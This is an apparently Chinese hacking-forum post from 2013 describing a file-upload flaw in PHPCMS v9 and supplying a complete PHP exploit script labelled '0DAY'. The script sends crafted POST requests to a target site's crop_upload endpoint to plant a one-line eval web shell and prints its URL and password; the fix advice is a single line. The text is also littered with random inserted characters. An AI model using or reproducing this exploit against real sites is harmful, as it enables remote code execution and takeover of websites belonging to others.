找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2470|回复: 0
打印 上一主题 下一主题

PHPCMS v9 Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:06:41 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞类型: 文件上传导致任意代码执行2 F5 F7 l6 C6 z2 C% B; ^

6 y+ N0 B. ^; c- q4 `, @0 m简要描述:2 I- l* W: S% F- Y
0 w. _2 v) C; Y$ s) W$ y* l
phpcms v9 getshell (apache)
8 `4 U' n) b$ h: x; P) _" Y4 H; X& D详细说明:% H( c, W3 \: E3 P

+ u4 Y* l: f. D4 _6 _" h8 x漏洞文件:phpcms\modules\attachment\attachments.php4 k8 H8 l/ {; ?# @4 M
: I4 f$ |* a/ v
public function crop_upload() {  (isset($GLOBALS["HTTP_RAW_POST_DATA"])) {  $pic = $GLOBALS["HTTP_RAW_POST_DATA"];  if (isset($_GET['width']) && !empty($_GET['width'])) {  $width = intval($_GET['width']);  }  if (isset($_GET['height']) && !empty($_GET['height'])) {  $height = intval($_GET['height']);  }  if (isset($_GET['file']) && !empty($_GET['file'])) {  $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号  if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键  if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) {  $file = $_GET['file'];  $basenamebasename = basename($file);//获取带有后缀的文件名  if (strpos($basename, 'thumb_')!==false) {  $file_arr = explode('_', $basename);  $basename = array_pop($file_arr);  }  $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename;  } else {  pc_base::load_sys_class('attachment','',0);  $module = trim($_GET['module']);  $catid = intval($_GET['catid']);  $siteid = $this->get_siteid();  $attachment = new attachment($module, $catid, $siteid);  $uploadedfile['filename'] = basename($_GET['file']);  $uploadedfile['fileext'] = fileext($_GET['file']);  if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) {  $uploadedfile['isimage'] = 1;  }  $file_path = $this->upload_path.date('Y/md/');  pc_base::load_sys_func('dir');  dir_create($file_path);  $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext'];  $uploadedfile['filepath'] = date('Y/md/').$new_file;  $aid = $attachment->add($uploadedfile);  }  $filepath = date('Y/md/');  file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控  } else {  return false;  }  echo pc_base::load_config('system', 'upload_url').$filepath.$new_file;  exit;  }  }
" \+ F" T0 H0 e1 k# V( y$ F后缀检测:phpcms\modules\attachment\functions\global.func.php
0 T9 D( K! g$ g! V3 p! x9 l% F: i5 u- w; ~8 @
2 R# M5 X) g! \: D; C/ V

9 ]7 c* W& D5 rfunction is_image($file) {    $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff');    $ext = fileext($file);关键地方    return in_array($ext,$ext_arr) ? $ext_arr :false;   }  
- B! y) W" s- m  J; R3 H' `4 t% S# P5 i% d/ L; b2 k7 C/ H" `
关键函数:
, T  t! K  F  I& I+ X" M6 U* W; e# N1 L# D; I' W

0 |6 m; I& w$ F) U
! Z! o1 I5 s! R; k. E3 Rfunction fileext($filename) {  return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); }  + _2 s) T9 S7 ]4 J$ W0 O; I

. `/ [% j3 y1 j5 p  a  Fileext函数是对文件后缀名的提取。
1 Z; z2 ]$ i# B- k' c根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php" i0 [# n! }( }  ?8 d
经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。  n: u, p' C# N/ [
我们回到public function crop_upload() 函数中4 I* z" l. I7 H  r( W4 I; Z
if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();2 x  d7 S( d& d
在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数
# M7 u8 s7 s; n3 i' z3 n( k! x3 h这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。: @4 C# X' l* T) P8 P" b
经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。
, Q6 j% C' b& F, v  }" U7 `5 h最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。, K/ l. L- z2 v2 X7 o
看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。- C9 V$ f( ?' N6 z9 w
漏洞证明:; f/ T( n+ R& d  x5 w
) B2 F' U: |+ h# X) I0 A' r8 g
exp:
1 y4 {9 ?) E5 q* L4 Q; ^; t, Q' f2 D/ |
<?php2 x! l) F/ f: }2 J; q
error_reporting(E_ERROR);
1 l1 w9 ^; d- a& X/ [  ^9 C  }' I! eset_time_limit(0);
& Y- V9 Q  n- G$pass="ln";
5 u9 s# F) C# Y9 I  t/ P# gprint_r('
# u% ]# n- i  V0 m% |+---------------------------------------------------------------------------+0 R( h+ B4 k9 D* i7 i
PHPCms V9 GETSHELL 0DAY
* t8 n  R$ u1 g1 Ocode by L.N.  {, z: U2 P7 ^6 S! [$ O% N- M7 R

; r& t0 ^9 `0 {apache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net& r: m1 R& T. ?+ c# p
+---------------------------------------------------------------------------+% K2 E3 d/ o: A- Y1 r
');. K# R4 D6 _' ], |/ Z+ S9 j
if ($argc < 2) {
4 C) A$ N3 A' O5 Zprint_r('( C, ~  V- S& R( s" F
+---------------------------------------------------------------------------+
; _( ]! Q% k2 j" V( FUsage: php '.$argv[0].' url path0 c, @1 E  I( R4 n) Q
0 O. k' ?, n6 Z3 f- t. R
Example:) m$ @% r9 _3 o" x" b* ^( p/ W* `
1.php '.$argv[0].' lanu.sinaapp.com4 M8 F9 L! I7 A% d& ^8 l$ a5 d
2.php '.$argv[0].' lanu.sinaapp.com /phpcms. `! y% i# P7 u
+---------------------------------------------------------------------------+; m  A; j  W, f9 S3 Z. L  J
');
+ ^' J7 o3 M- L. L8 zexit;
! n& j- [8 s* u  |) N7 r}# p) J! O$ S7 u& }& Q7 W

3 W; |( I* D( \1 X' U4 k$url = $argv[1];
/ {3 L9 W" h7 l% v5 d. s: u$ k$ ?! e; \$path = $argv[2];! h9 e" ^: m: ]5 u- `0 |
$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';) E5 y9 a( Q1 N8 j1 l/ b* y
$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';+ X& S* r. K  E( i5 S2 E, w' K4 H
if($ret=Create_dir($url,$path))
2 k5 m/ V- Z# Y9 `{) d7 F$ h: P! B6 r% s
//echo $ret;. Y5 O$ c: Q  |" q
$pattern = "|Server:[^,]+?|U";. `: Q, t3 W  w% F
preg_match_all($pattern, $ret, $matches);
- K) f! k3 o9 ]( A2 I, X0 _! r" zif($matches[0][0])# b8 O$ Y5 X) i* t& I% J2 n
{
& g% n6 i' [; ~  W. Dif(strpos($matches[0][0],'Apache') == false)
3 q; O# k9 u, w# q6 a{
+ S9 Z+ S! [+ u7 qecho "\n亲!此网站不是apache的网站。\n";exit;( i/ L0 B/ d$ ^7 o/ M; U
}
& A. @' ?  z. m+ H; S4 v/ k" ~% w}
% N$ [7 ~  W0 g. I$ u$ret = GetShell($url,$phpshell,$path,$file);( A1 `2 F: n7 C0 L2 _; z" B
$pattern = "|http:\/\/[^,]+?\.,?|U";
- L) s7 a& m1 o4 S  j2 hpreg_match_all($pattern, $ret, $matches);* f4 a" S' Q  x* e; g& e
if($matches[0][0])
# E9 _  ^( C& I4 S, F5 Q0 v- B! T{) q4 O8 g- X2 n; C
echo "\n".'密码为: '.$pass."\n";' M, g$ S5 V, P6 T9 _
echo "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
5 F+ I8 |$ G1 J}0 e; W% [6 N3 {& g- s8 w3 G# d
else% v- |, |- ?  K. K
{' |, R" X! c- H$ J9 v: I
$pattern = "|\/uploadfile\/[^,]+?\.,?|U";
) y) O/ }% ^6 t  C- H7 z2 Tpreg_match_all($pattern, $ret, $matches);% _' l6 c" ^& a6 `0 a- w
if($matches[0][0])
: ?( ?" C; p8 A. x5 C{
8 ?- l% i, v1 C& Secho "\n".'密码为: '.$pass."\n";
  |1 }4 j" X6 E* lecho "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;! O* s2 ^% |) ]% U
}' G0 G5 T# z1 a$ }' O
else
/ B9 i8 d$ ?' e: W! d9 I' \$ P; z{
" ]) A- n" j) y4 \- {. J  vecho "\r\n没得到!\n";exit;  }' L5 o# ]! Q8 l7 y
}
: F# \6 X3 a; M}
! l3 F8 U; f5 }- u}
- l+ M' p' a/ M5 ~7 P0 z+ V2 V, L! g: [  i7 o
function GetShell($url,$shell,$path,$js)6 ]8 s/ X) A5 u- m+ \3 k
{
9 K# S" z; m4 `$content =$shell;6 s* k1 i! C0 u
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";8 A/ ~) @* G. Q$ `
$data .= "Host: ".$url."\r\n";; V0 c5 x. g+ t. ?4 u' ^. Z! O! n8 f* {
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
0 E) m' N4 ?. M, }$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
. r0 q: L3 j6 s4 d$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";) e7 x5 u. }1 C4 b  U* s
$data .= "Connection: close\r\n";
& v7 Y) h+ H, `$ S: S$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
5 b0 Q, _% {/ S) X0 a" Z' y$data .= $content."\r\n";+ h/ q7 _9 C( I0 R
$ock=fsockopen($url,80);
5 p9 c% r  X; X- Bif (!$ock)
' V, X" P" a! P2 m* }; ~" w5 C{
0 A  z1 f7 E2 H! e+ p* gecho "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;2 M3 L( u6 L# o' i, C% G
}% Q( h7 g0 e" I- ?. _- w
else
) _! K& o# o% I2 O' |- A+ a9 l{
) R& E, n$ K# n( gfwrite($ock,$data);* u  i- }5 e& h' l4 V
$resp = '';
( \* J8 s! u, t/ p& s2 @4 Rwhile (!feof($ock))6 N! w7 ]. u# L! F- h8 O
{$ X) s5 M, L( o: a
$resp.=fread($ock, 1024);! a6 U9 N0 h* d7 |
}
. W; }8 L- u1 [5 _return $resp;
$ r" M- E8 {8 Y' E2 c) z9 V}0 C: ^) f0 b0 K
}
- ]! }& z5 I0 S, Y' C& V4 W; [( R: g5 r& H
function Create_dir($url,$path='')( q: `" V3 o% s  c; ]
{! I! r1 h8 j& ~1 E) U5 X0 y8 b  p
$content ='I love you';/ T& O7 \  T$ e5 P# Q7 Y
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";
- G  o( n4 Q, L. |$data .= "Host: ".$url."\r\n";
0 O4 R6 \1 h( b1 [$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";0 ]6 X. w  \! T' p7 o
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";- f* H$ x2 s$ k- @
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";( i/ x- V' x7 z4 C( W% t( T4 X6 b
$data .= "Connection: close\r\n";) r7 n) Z0 n, d1 n$ y3 q# H
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";4 l  P; j# S. t* z7 ^2 K4 {
$data .= $content."\r\n";8 n1 _' m2 C) A8 U
$ock=fsockopen($url,80);
/ A" v* H8 h: ^; l( Aif (!$ock)3 K& M4 A: Y$ B; U3 l# W* ]# ^
{
" }8 n) e4 J' ]; L! [. x$ @1 Cecho "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;, t8 p4 S9 `9 `' z
}0 d7 {5 \3 Z5 f( _5 |
fwrite($ock,$data);
& D; n$ S. X) x5 c7 _0 K$resp = '';
/ g! C9 f% b4 E) L1 d# iwhile (!feof($ock))
; ^) \, A) ^' T{$ J% w. {. e* f$ Y' t
$resp.=fread($ock, 1024);
: p3 G) R0 t$ z! R3 N. k7 v}! w$ [$ a# u4 B; `* r+ O: s! J7 W$ V5 A
return $resp;  P: S* \8 y6 R5 e5 E" F+ A
}
& k# {* I: p" X2 j3 H?>
1 H# i6 z8 i% Q) ^1 Y; R- { 4 O' f8 a% ^$ G0 |' g( g
修复方案:
2 x* T  [. e: H7 s1 y% G) B0 Y# m( p
过滤过滤再过滤, F, s) ^0 ]: G% U8 p
( {% z# l& S8 k2 v" ~& [
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表